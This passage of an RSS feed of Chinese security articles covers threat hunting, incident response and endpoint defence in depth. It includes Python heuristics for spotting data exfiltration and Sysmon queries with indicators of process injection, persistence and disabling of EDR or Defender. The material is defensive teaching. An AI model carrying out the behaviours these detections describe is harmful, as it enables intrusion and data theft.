26px;"><span leaf="">&#34;&#34;&#34;检测数据外泄&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        indicators = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 检查大流量外传</span></span><span leaf=""><br/></span><span leaf="">        large_transfers = self.check_large_data_transfers()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(large_transfers)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. 检查可疑DNS隧道</span></span><span leaf=""><br/></span><span leaf="">        dns_tunneling = self.check_dns_tunneling()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(dns_tunneling)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. 检查云存储上传</span></span><span leaf=""><br/></span><span leaf="">        cloud_uploads = self.check_cloud_uploads()</span><span leaf=""><br/></span><span leaf="">        indicators.extend(cloud_uploads)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> indicators</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">check_large_data_transfers</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;&#34;检查大流量数据传输&#34;&#34;&#34;</span></span><span leaf=""><br/></span><span leaf="">        suspicious_transfers = []</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 分析网络流量</span></span><span leaf=""><br/></span><span leaf="">        flows = self.get_network_flows()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> flow </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> flows:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 检查出站流量</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;direction&#39;</span></span><span leaf="">] == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;outbound&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 超过100MB的传输</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;bytes&#39;</span></span><span leaf="">] &gt; </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">100</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf=""> * </span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1024</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    suspicious_transfers.append({</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;type&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;Large Data Transfer&#39;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;source&#39;</span></span><span leaf="">: flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;src_ip&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;destination&#39;</span></span><span leaf="">: flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;dst_ip&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;bytes&#39;</span></span><span leaf="">: flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;bytes&#39;</span></span><span leaf="">],</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;timestamp&#39;</span></span><span leaf="">: flow[</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;timestamp&#39;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">                    })</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""> suspicious_transfers</span></code></pre><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.3 威胁狩猎工具</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">1.3.1 常用狩猎工具</span></span></h4><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">威胁狩猎工具集：</span><span leaf=""><br/></span><span leaf="">├─ SIEM平台</span><span leaf=""><br/></span><span leaf="">│  ├─ Splunk</span><span leaf=""><br/></span><span leaf="">│  ├─ Elastic Stack</span><span leaf=""><br/></span><span leaf="">│  └─ Microsoft Sentinel</span><span leaf=""><br/></span><span leaf="">├─ EDR工具</span><span leaf=""><br/></span><span leaf="">│  ├─ CrowdStrike Falcon</span><span leaf=""><br/></span><span leaf="">│  ├─ Carbon Black</span><span leaf=""><br/></span><span leaf="">│  └─ Microsoft Defender </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> Endpoint</span><span leaf=""><br/></span><span leaf="">├─ 网络分析</span><span leaf=""><br/></span><span leaf="">│  ├─ Zeek (Bro)</span><span leaf=""><br/></span><span leaf="">│  ├─ Wireshark</span><span leaf=""><br/></span><span leaf="">│  └─ Suricata</span><span leaf=""><br/></span><span leaf="">└─ 专用狩猎工具</span><span leaf=""><br/></span><span leaf="">   ├─ Mordor (数据集)</span><span leaf=""><br/></span><span leaf="">   ├─ HELK (狩猎平台)</span><span leaf=""><br/></span><span leaf="">   └─ OpenCTI (威胁情报)</span></code></pre><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、应急响应</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 事件响应流程</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.1 NIST事件响应框架</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">NIST SP 800-61定义了事件响应的四个阶段：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">NIST事件响应阶段：</span><p class="js_pay_preview_filter"><mp-pay-preview-filter data-offset="326"></mp-pay-preview-filter></p></code></pre></div>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a63a99fa&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4ODEyODA3MQ%3D%3D%26mid%3D2247496655%26idx%3D1%26sn%3Dc590fadef2ded7014a21ce013d65f473">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 19 Apr 2026 20:00:00 +0800</pubDate>
    </item>
    <item>
      <title>终端安全防御体系构建——纵深防御策略</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4ODEyODA3MQ==&amp;mid=2247496654&amp;idx=1&amp;sn=19fe299cf608358fedeb23581cd4f1a9</link>
      <description>一、前言概述本课将深入介绍终端安全防御体系的构建，包括纵深防御策略、行为监控增强、内核保护机制和异常检测与响应</description>
      <content:encoded><![CDATA[<p>原创 <span>pandazhengzheng</span> <span>2026-04-18 20:01</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=da4640ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FM5H82XuSHY4bx3o1ytKhqbb7ibZ9xcKicvmnu4WLRibYSpCkCzNjVZEwoGh3DQ6AcnUfPh5RbFv7vFkibzibemQF89bRicnOiakKgxXyGcwuatCMr8%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">一、前言概述</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">本课将深入介绍终端安全防御体系的构建，包括纵深防御策略、行为监控增强、内核保护机制和异常检测与响应，构建完善的防御体系是应对现代威胁的关键。</span></p><h2 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">二、相关内容</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1 纵深防御策略</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.1 纵深防御概念</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">纵深防御（Defense in Depth）</span></strong><span leaf="">是一种安全策略，通过多层防御机制保护系统，即使一层防御被突破，其他层仍能提供保护。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.1.2 终端安全防御层次</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第1层：网络边界防护</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">防火墙</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">IDS/IPS</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">网络分段</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第2层：终端防护</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">EDR/AV</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">应用白名单</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">设备控制</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第3层：系统加固</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">补丁管理</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">配置加固</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">权限管理</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第4层：数据保护</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">加密</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">DLP</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">备份</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第5层：监控与响应</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">SIEM</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">威胁狩猎</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">应急响应</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2 行为监控增强</span></span></h3><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.1 行为监控的重要性</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">传统的签名检测无法应对未知威胁，行为监控可以检测异常行为模式，发现未知攻击。</span></p><h4 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;padding: 0px;display: block;text-align: justify;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">2.2.2 关键行为监控点</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">1. 进程行为监控</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 监控进程创建</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Sysmon/Operational&#34; | Where-Object {$_.Id -eq 1}</span><span leaf=""><br/></span><span leaf=""># 监控进程注入</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Sysmon/Operational&#34; | Where-Object {$_.Id -eq 8}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键检测点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">进程创建异常（如Word创建PowerShell进程）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">进程注入行为（CreateRemoteThread）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">进程终止异常（EDR进程被终止）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">2. 文件行为监控</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 监控文件创建</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Sysmon/Operational&#34; | Where-Object {$_.Id -eq 11}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键检测点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">可疑文件创建（如System32目录下的文件）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">文件修改异常（如系统文件被修改）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">3. 注册表行为监控</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 监控注册表修改</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Sysmon/Operational&#34; | Where-Object {$_.Id -eq 13}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键检测点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">持久化注册表修改（Run键、服务键）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;font-weight: normal;"><span leaf="">安全设置修改（如禁用Windows Defender）</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">4. 网络行为监控</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: justify;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf=""># 监控网络连接</span><span leaf=""><br/></span><span leaf="">Get-WinEvent -LogName &#34;Microsoft-Windows-Sysmon/Operational&#34; | Where-Object {$_.Id -eq 3}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: justify;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">关键检测点：</span></strong></p><ul style="list-style-type: disc;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 